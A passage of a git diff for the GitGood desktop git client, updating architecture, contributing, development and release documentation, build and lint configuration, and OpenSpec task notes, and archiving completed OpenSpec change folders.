token, Tailscale identity, host/origin checks, path confinement; limits.ts: + which methods mutate and need the repository lock; web-bridge.ts: the script that gives the + browser the `window.gitgood` API, with reconnect backoff and version-skew detection; + web-host.ts: browser-side host, native-only capabilities throw "unsupported") + mcp/ stdio MCP server for coding agents (latest review, request re-review, open repository); + dependency-free, built to out/mcp/index.mjs and launched by the gitgood-review plugin + preload/ contextBridge exposing a single typed invoke/on bridge (plus webUtils.getPathForFile) + renderer/ React UI (no UI framework dependencies); state/ holds the store and actions, heavy + dialogs and syntax-highlighting grammars load lazily + shared/ types, IPC contract, pure logic used by both processes: + diff/ (unified diff parser, partial-patch builder, intraline word diff, conflict marker parser), + graph.ts (commit-graph lane layout, incremental per page), + shortcuts.ts (shortcut table, overrides merge, conflict detection, accelerator parsing), + secrets.ts (scrubSecrets token masking, secret-shaped file detection), + ai-model.ts (modelFor: per-feature model override), agent-presets.ts, util.ts ``` Renderer and main process communicate over one typed channel (`src/shared/ipc.ts`). All git commands run with `GIT_TERMINAL_PROMPT=0`, so nothing ever blocks on a hidden prompt; errors are classified (auth, network, non-fast-forward, conflicts, protected branch, …) to drive the right dialog. @@ -41,4 +86,12 @@ Native events trigger bounded 120 ms reconciliation. A four-second reconciliatio History, changes, and text diffs window their rendered rows. `TextDiff` computes word-level changes only when either row of a paired deletion/addition renders, caches both sides, and invalidates them when the hunks or word-highlighting setting change. Syntax highlighting remains lazy per 400-line block. +## Clients, windows and servers + +Every call into the core runs inside a *client context* (`core/client-context.ts`): a web tab of the server, and each desktop window (`window-`, assigned in `ipc.ts`), is its own client. Per-client state — the repository watcher, an in-flight history load, AI jobs (`ai.cancel(feature)` aborts only the caller's own) — is keyed by it. Events are routed the same way (`core/event-routing.ts`): `repo.changed` reaches only the windows that have that repository open, progress and AI streams only the window that started them, and everything else (repository list, settings, tools, inbox, updates) reaches all windows. A second window opens through `app.newWindow`, passing the repository id in the URL fragment; menu actions, `gitgood://` links and `gitgood ` go to the focused window. + +A handler whose first argument is an absolute path also runs inside a *repository scope*, so a `gh` or network `git` call made deep inside a service uses that repository's chosen GitHub account without every caller passing it along. + +AI requests pass through three chokepoints so new features inherit them: `provider.ts` wraps every backend with usage recording and secret scrubbing (except conflict resolution, whose text is written back to the file), `ai/repo-guard.ts` rejects any `ai.*` method for a repository with AI disabled, and repository files that reach a prompt are read with `repo/paths.ts` so a symlink can never smuggle in outside content. + See [DEVELOPMENT.md](DEVELOPMENT.md) for how to build and test this, and [RELEASING.md](RELEASING.md) for how packaged builds and releases work. diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md index e015af3..e980f07 100644 --- a/docs/CONTRIBUTING.md +++ b/docs/CONTRIBUTING.md @@ -6,7 +6,7 @@ Thanks for considering a contribution to GitGood. This is a small, mostly solo-m - For anything more than a small fix, open an issue or a discussion first describing the problem and your proposed approach — it saves rework on both sides. - This repo tracks its roadmap with [OpenSpec](https://github.com/Fission-AI/OpenSpec) under `openspec/`: `openspec/specs/` holds the current baseline behaviour per capability, and `openspec/changes/` holds proposed and in-flight changes (proposal, spec deltas, design notes, a task checklist). Browsing an existing change there is often the fastest way to understand *why* something works the way it does, since the spec deltas capture intent that isn't always obvious from the code. -- Not every change needs a formal OpenSpec proposal — a bug fix or small, self-contained improvement is fine as a plain pull request. A new capability or a behaviour change worth documenting is a good candidate for one. +- When a change is implemented, archive it (`openspec archive `, or the `opsx` archive workflow) so its spec deltas are merged into `openspec/specs/` and the change moves to `openspec/changes/archive/`; tasks you could not verify yet stay unchecked with a one-line note in `tasks.md`. Not every change needs a formal OpenSpec proposal — a bug fix or small, self-contained improvement is fine as a plain pull request. A new capability or a behaviour change worth documenting is a good candidate for one. ## Development setup @@ -15,7 +15,7 @@ See [DEVELOPMENT.md](DEVELOPMENT.md) for installing dependencies and running the ## Before opening a pull request ```bash -npm run typecheck +npm run lint # eslint (react-hooks) + typecheck npm test ``` @@ -26,6 +26,7 @@ Guidelines that keep this codebase consistent: - Prefer editing existing files and reusing existing patterns (e.g. the `*-core.ts` pure-logic-plus-thin-orchestrator split used throughout `src/main/`) over introducing new abstractions. - New third-party dependencies (a library, a GitHub Action, a new build tool) are a bigger deal than they look — they're a permanent addition to the supply chain and the build. Flag the addition and your reasoning in the PR description so it can be discussed before merging. - Match the existing comment style: comments explain *why* something non-obvious is done a certain way, not *what* the code does. +- User-visible changes get a line under **Unreleased** in [CHANGELOG.md](../CHANGELOG.md), and anything that makes a README or `docs/` statement false is updated in the same pull request. - Commit messages and PR titles in this repo generally follow a `type: summary` shape (`feat:`, `fix:`, `test:`, `docs:`, `refactor:`, …) — check recent history (`git log --oneline`) for the tone. ## Reporting bugs @@ -34,4 +35,4 @@ Include: what you did, what you expected, what happened instead, your OS and Git ## Security issues -Please don't open a public issue for a security vulnerability. Open a private security advisory on the repository (GitHub → Security → Advisories → Report a vulnerability) instead. +Please don't open a public issue for a security vulnerability. Report it privately as described in [SECURITY.md](../SECURITY.md) (GitHub → Security → Advisories → Report a vulnerability). diff --git a/docs/DEVELOPMENT.md b/docs/DEVELOPMENT.md index 9baea68..abb8575 100644 --- a/docs/DEVELOPMENT.md +++ b/docs/DEVELOPMENT.md @@ -2,6 +2,8 @@ ## Getting started +Node `^20.19 || >=22.12` (`engines` in `package.json`; the headless server bundle targets Node 20). CI uses Node 24, the line Electron 44 ships. + ```bash npm install npm run dev # electron-vite dev server with hot reload @@ -9,7 +11,11 @@ npm test # vitest: pure unit tests plus fixture tests against real t npm run test:unit # just the pure unit tests (diff parser, patch builder, git output parsers, ...) npm run test:fixture # git/gh wrapper tests against real temporary repos and a stub gh/claude on PATH npm run test:smoke # builds the app and drives it offscreen (no visible window) through real user flows; GITGOOD_SMOKE_SHOW=1 to watch +npm run build # app (out/main, out/renderer) + headless server (out/server) + MCP server (out/mcp) +npm run start:server # run the headless server from out/server (see the README's Server mode) +npm run start:mcp # run the stdio MCP server from out/mcp (normally started by an agent via plugin/.mcp.json) npm run typecheck # main + renderer TypeScript +npm run lint # React hooks rules (eslint, renderer only) + typecheck ``` `npm run test:smoke` needs a display server on Linux — it uses `xvfb-run` automatically when available (see `scripts/smoke.mjs`), and runs directly against a real display on Windows/macOS or a machine that already has one. diff --git a/docs/RELEASING.md b/docs/RELEASING.md index eaf0528..82d8575 100644 --- a/docs/RELEASING.md +++ b/docs/RELEASING.md @@ -3,15 +3,17 @@ ## Building packages locally ```bash -npm run dist:win # produces release//GitGood-Setup-.exe (NSIS installer) +npm run dist:win # produces release//GitGood-Setup-.exe (one NSIS installer for x64 + arm64) ``` -`npm run dist:linux` builds an AppImage and `npm run dist:mac` a dmg/zip. Builds are unsigned; add your certificate configuration to `electron-builder.yml` for signed releases. +`npm run dist:linux` builds an AppImage and a `.deb`, `npm run dist:mac` a universal (Intel + Apple silicon) dmg/zip. Local builds are unsigned unless the signing environment variables below are set. Packaging notes: - Build the Windows installer on Windows (`npm run dist:win`). Cross-building it from Linux/macOS also works but needs `wine` installed for electron-builder's NSIS step; without it you still get `release//win-unpacked/` (a runnable portable folder) but no `Setup.exe`. -- A `.deb` target can be added back to `linux.target` in `electron-builder.yml`, but electron-builder's `fpm` needs `libcrypt.so.1` (`libxcrypt-compat` on Arch-based systems) on the build machine. +- The `.deb` target uses electron-builder's `fpm`, which needs `libcrypt.so.1` (`libxcrypt-compat` on Arch-based systems) on the build machine. +- The macOS universal build merges x64 and arm64 apps and is meant to be built on macOS. +- Flathub and AUR packages are separate repositories (a Flathub manifest, a PKGBUILD); nothing here builds or publishes them. - The installer registers the `gitgood://` and `x-github-client://` URL schemes, so GitHub's "Open with GitHub Desktop" buttons open the repository in GitGood (or offer to clone it). ## Cutting a release @@ -27,7 +29,7 @@ npm run release:tag # tag main at package.json's version and push `prepare` refuses a version that does not move forward, a tag that already exists, or a dirty or diverged `main`; `tag` additionally refuses to run while the -Test workflow on `main` is failing or unfinished (`--no-verify` skips that). +Test workflow on `main` is failing, unfinished or for a different commit than `HEAD`. If `gh` cannot answer, `tag` refuses too; `--skip-ci-check` skips the check entirely. Both ask before doing anything; `--yes` answers for you. By hand it is a bump of `version` in `package.json`, merged to `main`, then a @@ -37,7 +39,7 @@ tag matching it: git tag v0.2.0 && git push origin v0.2.0 ``` -`.github/workflows/release.yml` builds Windows/macOS/Linux in parallel and publishes the artifacts to a **draft** GitHub Release (`electron-builder.yml`'s `publish` block, `releaseType: draft`) — review the draft, add notes, and publish it manually from the Releases page. +`.github/workflows/release.yml` builds Windows/macOS/Linux in parallel with read-only permissions (`--publish never`) and uploads the installers, blockmaps and `latest*.yml` as workflow artifacts. A separate `publish` job, the only one with `contents: write`, then creates (or reuses) the **draft** GitHub Release for the tag and uploads them — review the draft, add notes, and publish it manually from the Releases page. It refuses to touch a release that is already published. Every action in the workflows is pinned to a commit SHA (Dependabot keeps them current); when bumping one by hand, look the SHA up with `gh api repos///git/ref/tags/` (dereference annotated tags) and keep the `# vX.Y.Z` comment. The tag is what starts a release, so two things have to hold or the assets never arrive: @@ -46,13 +48,18 @@ The tag is what starts a release, so two things have to hold or the assets never ## Auto-update -Installed copies check the GitHub releases feed (via `electron-updater`) on launch and every 6 hours, download a newer eligible release in the background, and offer **Restart to update**. See `openspec/changes/add-auto-update` for the full design (channels, install gating, per-machine Windows installs, and what's still unverified end-to-end). +Installed copies check the GitHub releases feed (via `electron-updater`) on launch and every 6 hours, download a newer eligible release in the background, and offer **Restart to update**. `.deb` installs are excluded on purpose (electron-updater would `dpkg -i` the download as root): they show *Updates are unavailable for system-package (.deb) installs* and update from the Releases page or a package manager. See `openspec/changes/add-auto-update` for the full design (channels, install gating, per-machine Windows installs, and what's still unverified end-to-end). ## Signing -Releases are currently unsigned: +`release.yml` passes these repository secrets to the build step, and electron-builder signs and notarizes only when they are set; with none set the build is unsigned, exactly as before: -- **Windows** triggers a SmartScreen "unknown publisher" prompt on first run of a new version. -- **macOS** Gatekeeper may refuse to open the `.dmg` outright without notarization. +| Secret | Used for | +| --- | --- | +| `CSC_LINK` | Certificate (`.p12`/`.pfx`, base64 or URL) for macOS (Developer ID Application) and Windows signing | +| `CSC_KEY_PASSWORD` | Password of that certificate | +| `APPLE_ID` | Apple ID used for notarization | +| `APPLE_APP_SPECIFIC_PASSWORD` | App-specific password for that Apple ID | +| `APPLE_TEAM_ID` | Apple Developer team ID | -Setting up real signing needs accounts/credentials this repo's automation doesn't manage (an Apple Developer Program membership + Developer ID certificate for macOS notarization, and a CI-compatible signing service — e.g. SignPath's free OSS tier, or Azure Trusted Signing — for Windows, since CA/Browser Forum rules require OV/EV code-signing keys to live on a hardware token or HSM). Once you've created the certificates/accounts and added the resulting secrets to the repo's GitHub Actions secrets, `electron-builder.yml` and `.github/workflows/release.yml` can be wired to consume them (notarize block, `azureSignOptions`, or a SignPath step) — that wiring isn't done yet. +**Not done, needs you:** the certificates and accounts themselves — an Apple Developer Program membership with a Developer ID Application certificate, and a Windows code-signing certificate. `CSC_LINK` is one variable shared by both platforms, so a single secret cannot hold both a Mac and a Windows certificate; and OV/EV Windows keys must live on a hardware token/HSM under CA/Browser Forum rules, which a `.pfx` secret cannot satisfy — for those, use a signing service (SignPath's free OSS tier, Azure Trusted Signing) and extend the workflow (`azureSignOptions` or a SignPath step). Until signed builds are verified, the updater stays disabled on macOS (`detectDisabledReason` in `src/main/update/update-core.ts`), and Windows shows SmartScreen's "unknown publisher" prompt. diff --git a/electron-builder.yml b/electron-builder.yml index fb7d2ba..60791ba 100644 --- a/electron-builder.yml +++ b/electron-builder.yml @@ -17,7 +17,7 @@ extraResources: win: target: - target: nsis - arch: [x64] + arch: [x64, arm64] icon: build/icon.png artifactName: ${productName}-Setup-${version}.${ext} nsis: @@ -29,12 +29,16 @@ nsis: shortcutName: GitGood deleteAppDataOnUninstall: false mac: - target: [dmg, zip] + target: + - target: dmg + arch: [universal] + - target: zip + arch: [universal] category: public.app-category.developer-tools icon: build/icon.png artifactName: ${productName}-${version}.${ext} linux: - target: [AppImage] + target: [AppImage, deb] category: Development icon: build/icon.png maintainer: Erwin Wee diff --git a/eslint.config.mjs b/eslint.config.mjs new file mode 100644 index 0000000..59d78b7 --- /dev/null +++ b/eslint.config.mjs @@ -0,0 +1,18 @@ +import tsParser from '@typescript-eslint/parser'; +import reactHooks from 'eslint-plugin-react-hooks'; + +// Only the React hooks rules, and only where React lives: TypeScript already covers the rest of what a +// linter would flag, and main-process helpers named useX (git's useSide) are not hooks. +export default [ + { ignores: ['out/**', 'release/**', 'node_modules/**'] }, + { + files: ['src/renderer/**/*.{ts,tsx}'], + languageOptions: { parser: tsParser }, + linterOptions: { reportUnusedDisableDirectives: 'off' }, + plugins: { 'react-hooks': reactHooks }, + rules: { + 'react-hooks/rules-of-hooks': 'error', + 'react-hooks/exhaustive-deps': 'warn', + }, + }, +]; diff --git a/openspec/changes/add-ai-pr-review/tasks.md b/openspec/changes/add-ai-pr-review/tasks.md index cd81499..c8645ab 100644 --- a/openspec/changes/add-ai-pr-review/tasks.md +++ b/openspec/changes/add-ai-pr-review/tasks.md @@ -31,6 +31,10 @@ - [x] 4.2 `npm run typecheck` clean and `npx electron-vite build` succeeds - [x] 4.3 Smoke run in branch mode with a stubbed run: pre-flight card, gutter markers, inline card, findings panel and split view screenshots captured - [ ] 4.4 Live review of a real branch with the Claude Code CLI provider; verify findings anchor to real lines and the dropped count is reported + - 2026-10-01: still open — needs a live `claude` CLI session against a real branch; the findings-validation and dropped-count logic is unit-tested (`test/review.test.ts`) but no live run has been recorded. - [ ] 4.5 Pull request mode against a real GitHub repository including a fork PR; verify `gh pr diff` fallback and contents fetch for context + - 2026-10-01: still open — needs a real GitHub repository and a fork PR; only `gh pr diff` splitting is unit-tested (`test/main-parsers.test.ts`), not the fallback or context fetch against GitHub. - [ ] 4.6 Post a review on a test pull request; verify one review with inline comments is created, own-PR restriction applies, and the 422 retry path is exercised with a deliberately bad line + - 2026-10-01: still open — posting a real review (and the 422 retry) needs a throwaway pull request on GitHub; only the verdict/inline-comment building logic is unit-tested (`test/review.test.ts`). - [ ] 4.7 Update the README Features and AI sections (done) and confirm they still match after live testing + - 2026-10-01: README and docs/AI-FEATURES.md are in place; the "still match after live testing" half waits on 4.4–4.6. diff --git a/openspec/changes/add-ai-precommit-review/tasks.md b/openspec/changes/add-ai-precommit-review/tasks.md index 2af1d76..63fc77f 100644 --- a/openspec/changes/add-ai-precommit-review/tasks.md +++ b/openspec/changes/add-ai-precommit-review/tasks.md @@ -19,6 +19,7 @@ - [x] 3.2 Wire gutter markers and finding cards in `TextDiff.tsx` for the worktree run, with Dismiss, Copy, Open in editor and Apply to file (hidden for partial files); verify by driving `window.__gitgood.actions.reviewChanges()` with a stubbed run and dumping the store - [x] 3.3 Highlight the Commit button when blockers exist and show the intent-mismatch note next to the summary; verify the button still commits in the smoke script - [ ] 3.4 Implement staleness on file change and Re-review of stale files only; verify by editing a fixture file during the smoke run and asserting only that file is re-sent + - 2026-10-01: implemented (`ReviewService.worktreeStale`, `rereviewStalePrecommitFindings` → `startWorktree` with `rereviewOf`, stale chips in `ChangesTab.tsx`/`DiffPane.tsx`) and staleness detection is unit-tested in `test/precommit-review-service.test.ts`; left open because no test or smoke step yet asserts that a re-review sends only the edited file. - [x] 3.5 Add the Review before every commit setting to `SettingsDialog.tsx` and the Commit anyway / Go back dialog; verify Go back leaves status unchanged ## 4. Verification diff --git a/openspec/changes/add-settings-sync/tasks.md b/openspec/changes/add-settings-sync/tasks.md index 0a9ba43..dd2e3ce 100644 --- a/openspec/changes/add-settings-sync/tasks.md +++ b/openspec/changes/add-settings-sync/tasks.md @@ -10,6 +10,7 @@ - [x] 2.2 Implement the import validator (schema version, types, unknown keys → warnings) and preview counts; verify unit tests for valid, newer-schema and malformed files - [x] 2.3 Implement merge and replace semantics with confirmation flag, backups (retain 5) and missing-repository handling plus other-platform path skipping; verify unit tests on `AppSettings` and a temp user-data directory - [ ] 2.4 Add the save dialog method in the main process; verify it returns a path in a smoke run + - 2026-10-01: `app.chooseSavePath` exists (`ElectronHost.chooseSavePath` → `dialog.showSaveDialog`, used by the Export dialog) but a native save dialog cannot be driven in the offscreen smoke run, so the stated verification is still outstanding. ## 3. Gist sync diff --git a/openspec/changes/add-agent-review-handoff/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/.openspec.yaml similarity index 100% rename from openspec/changes/add-agent-review-handoff/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/.openspec.yaml diff --git a/openspec/changes/add-agent-review-handoff/design.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/design.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/design.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/design.md diff --git a/openspec/changes/add-agent-review-handoff/proposal.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/proposal.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/proposal.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/proposal.md diff --git a/openspec/changes/add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/specs/ai-review-agent-handoff/spec.md diff --git a/openspec/changes/add-agent-review-handoff/tasks.md b/openspec/changes/archive/2026-10-01-add-agent-review-handoff/tasks.md similarity index 100% rename from openspec/changes/add-agent-review-handoff/tasks.md rename to openspec/changes/archive/2026-10-01-add-agent-review-handoff/tasks.md diff --git a/openspec/changes/add-ai-command-palette/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-command-palette/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-command-palette/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/.openspec.yaml diff --git a/openspec/changes/add-ai-command-palette/design.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/design.md similarity index 100% rename from openspec/changes/add-ai-command-palette/design.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/design.md diff --git a/openspec/changes/add-ai-command-palette/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/proposal.md similarity index 100% rename from openspec/changes/add-ai-command-palette/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/proposal.md diff --git a/openspec/changes/add-ai-command-palette/specs/ai-command-palette/spec.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/specs/ai-command-palette/spec.md similarity index 100% rename from openspec/changes/add-ai-command-palette/specs/ai-command-palette/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/specs/ai-command-palette/spec.md diff --git a/openspec/changes/add-ai-command-palette/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-command-palette/tasks.md similarity index 100% rename from openspec/changes/add-ai-command-palette/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-command-palette/tasks.md diff --git a/openspec/changes/add-ai-commit-splitting/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-commit-splitting/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/.openspec.yaml diff --git a/openspec/changes/add-ai-commit-splitting/design.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/design.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/design.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/design.md diff --git a/openspec/changes/add-ai-commit-splitting/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/proposal.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/proposal.md diff --git a/openspec/changes/add-ai-commit-splitting/specs/ai-commit-splitting/spec.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/specs/ai-commit-splitting/spec.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/specs/ai-commit-splitting/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/specs/ai-commit-splitting/spec.md diff --git a/openspec/changes/add-ai-commit-splitting/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/tasks.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/tasks.md diff --git a/openspec/changes/add-ai-error-explanation/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-error-explanation/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/.openspec.yaml diff --git a/openspec/changes/add-ai-error-explanation/design.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/design.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/design.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/design.md diff --git a/openspec/changes/add-ai-error-explanation/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/proposal.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/proposal.md diff --git a/openspec/changes/add-ai-error-explanation/specs/ai-error-explanation/spec.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/specs/ai-error-explanation/spec.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/specs/ai-error-explanation/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/specs/ai-error-explanation/spec.md diff --git a/openspec/changes/add-ai-error-explanation/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/tasks.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/tasks.md diff --git a/openspec/changes/add-ai-explain-diff/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-explain-diff/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/.openspec.yaml diff --git a/openspec/changes/add-ai-explain-diff/design.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/design.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/design.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/design.md diff --git a/openspec/changes/add-ai-explain-diff/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/proposal.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/proposal.md diff --git a/openspec/changes/add-ai-explain-diff/specs/ai-explain-diff/spec.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/specs/ai-explain-diff/spec.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/specs/ai-explain-diff/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/specs/ai-explain-diff/spec.md diff --git a/openspec/changes/add-ai-explain-diff/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/tasks.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/tasks.md diff --git a/openspec/changes/add-ai-pr-description/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-pr-description/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-pr-description/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/.openspec.yaml diff --git a/openspec/changes/add-ai-pr-description/design.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/design.md similarity index 100% rename from openspec/changes/add-ai-pr-description/design.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/design.md diff --git a/openspec/changes/add-ai-pr-description/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/proposal.md similarity index 100% rename from openspec/changes/add-ai-pr-description/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/proposal.md diff --git a/openspec/changes/add-ai-pr-description/specs/ai-pr-description/spec.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/specs/ai-pr-description/spec.md similarity index 100% rename from openspec/changes/add-ai-pr-description/specs/ai-pr-description/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/specs/ai-pr-description/spec.md diff --git a/openspec/changes/add-ai-pr-description/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/tasks.md similarity index 100% rename from openspec/changes/add-ai-pr-description/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/tasks.md diff --git a/openspec/changes/add-ai-pr-triage/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-pr-triage/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/.openspec.yaml diff --git a/openspec/changes/add-ai-pr-triage/design.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/design.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/design.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/design.md diff --git a/openspec/changes/add-ai-pr-triage/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/proposal.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/proposal.md diff --git a/openspec/changes/add-ai-pr-triage/specs/ai-pr-triage/spec.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/specs/ai-pr-triage/spec.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/specs/ai-pr-triage/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/specs/ai-pr-triage/spec.md diff --git a/openspec/changes/add-ai-pr-triage/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/tasks.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/tasks.md diff --git a/openspec/changes/add-ai-rebase-assistant/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/.openspec.yaml diff --git a/openspec/changes/add-ai-rebase-assistant/design.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/design.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/design.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/design.md diff --git a/openspec/changes/add-ai-rebase-assistant/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/proposal.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/proposal.md diff --git a/openspec/changes/add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md diff --git a/openspec/changes/add-ai-rebase-assistant/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/tasks.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/tasks.md diff --git a/openspec/changes/add-ai-release-notes/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-release-notes/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-release-notes/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/.openspec.yaml diff --git a/openspec/changes/add-ai-release-notes/design.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/design.md similarity index 100% rename from openspec/changes/add-ai-release-notes/design.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/design.md diff --git a/openspec/changes/add-ai-release-notes/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/proposal.md similarity index 100% rename from openspec/changes/add-ai-release-notes/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/proposal.md diff --git a/openspec/changes/add-ai-release-notes/specs/ai-release-notes/spec.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/specs/ai-release-notes/spec.md similarity index 100% rename from openspec/changes/add-ai-release-notes/specs/ai-release-notes/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/specs/ai-release-notes/spec.md diff --git a/openspec/changes/add-ai-release-notes/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/tasks.md similarity index 100% rename from openspec/changes/add-ai-release-notes/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/tasks.md diff --git a/openspec/changes/add-blame-and-file-history/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/.openspec.yaml similarity index 100% rename from openspec/changes/add-blame-and-file-history/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/.openspec.yaml diff --git a/openspec/changes/add-blame-and-file-history/design.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/design.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/design.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/design.md diff --git a/openspec/changes/add-blame-and-file-history/proposal.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/proposal.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/proposal.md rename to 